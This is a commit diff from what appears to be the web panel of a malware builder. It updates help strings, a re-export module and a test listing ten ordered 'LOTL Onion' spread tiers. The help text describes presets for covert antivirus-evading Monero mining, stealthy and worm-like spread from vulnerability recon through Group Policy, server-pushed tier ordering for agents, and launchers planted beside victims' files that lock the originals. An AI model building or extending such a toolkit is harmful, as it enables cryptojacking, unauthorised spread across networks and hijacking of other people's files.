Sync docs and test inventory after LOTL release

server/web/src/help/settingHelp.ts

@@ -27,7 +27,7 @@ export const FIELD_HELP: Record<string, string> = {
   forge_operation_mode:
     'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
   forge_lotl_onion:
-    'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
+    'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered vuln recon→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
   forge_path_forge:
     'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
   forge_recommended_defaults:

server/web/src/help/spreadTechniques.test.ts

@@ -1,6 +1,8 @@
 import { describe, it, expect } from 'vitest';
 import {
+  DEFAULT_LOTL_ONION_TIERS,
   EMBERWAKE_TECHNIQUE_LINKS,
+  LOTL_ONION_TIER_DOCS,
   SPREAD_TECHNIQUES_DOC,
   spreadTechniqueDocUrl,
 } from './spreadTechniques';
@@ -21,4 +23,11 @@ describe('spreadTechniques', () => {
     expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
     expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
   });
+
+  it('re-exports ten LOTL onion tiers in canonical order', () => {
+    expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
+    expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
+    expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
+    expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
+  });
 });

server/web/src/help/spreadTechniques.ts

@@ -1,5 +1,13 @@
 /** Links into the tabbed spread techniques playbook at /docs/SPREAD_TECHNIQUES.html */
 
+export {
+  DEFAULT_LOTL_ONION_TIERS,
+  LOTL_ONION_TIER_DOCS,
+  lotlTierDocUrl,
+  type LotlOnionTierDoc,
+  type LotlOnionTierId,
+} from './lotlOnionTiers';
+
 export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.html';
 
 export interface EmberwakeTechniqueLink {
@@ -16,7 +24,7 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
   {
     label: 'LOTL Onion tiers',
     anchor: 'lotl-onion',
-    hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
+    hint: 'Ordered vuln recon→GPO contingencies — LOTL Onion forge preset',
   },
   {
     label: 'Web waterhole',